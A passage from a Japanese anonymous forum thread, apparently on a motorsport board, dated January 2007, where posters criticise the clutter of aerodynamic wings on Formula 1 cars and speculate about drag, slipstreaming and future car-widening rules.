近年はごてごて生えすぎなんだよ

630 :音速の名無しさん:2007/01/07(日) 08:26:42 ID:A/jxyNXz0
ボーダーウィング禁止はやってほしい
ボーダーウィングついてる車はかっこ悪い

631 :音速の名無しさん:2007/01/07(日) 08:35:58 ID:1h6hJwNT0
時代の流れ

632 :音速の名無しさん:2007/01/07(日) 14:42:55 ID:s9KeiW/q0
前後ウイング以外制限すればドラッグ増えて
スリップ効きやすくなったりしないかな?

633 :音速の名無しさん:2007/01/07(日) 21:02:41 ID:1h6hJwNT0
マシンの拡幅化って08年からだっけ?

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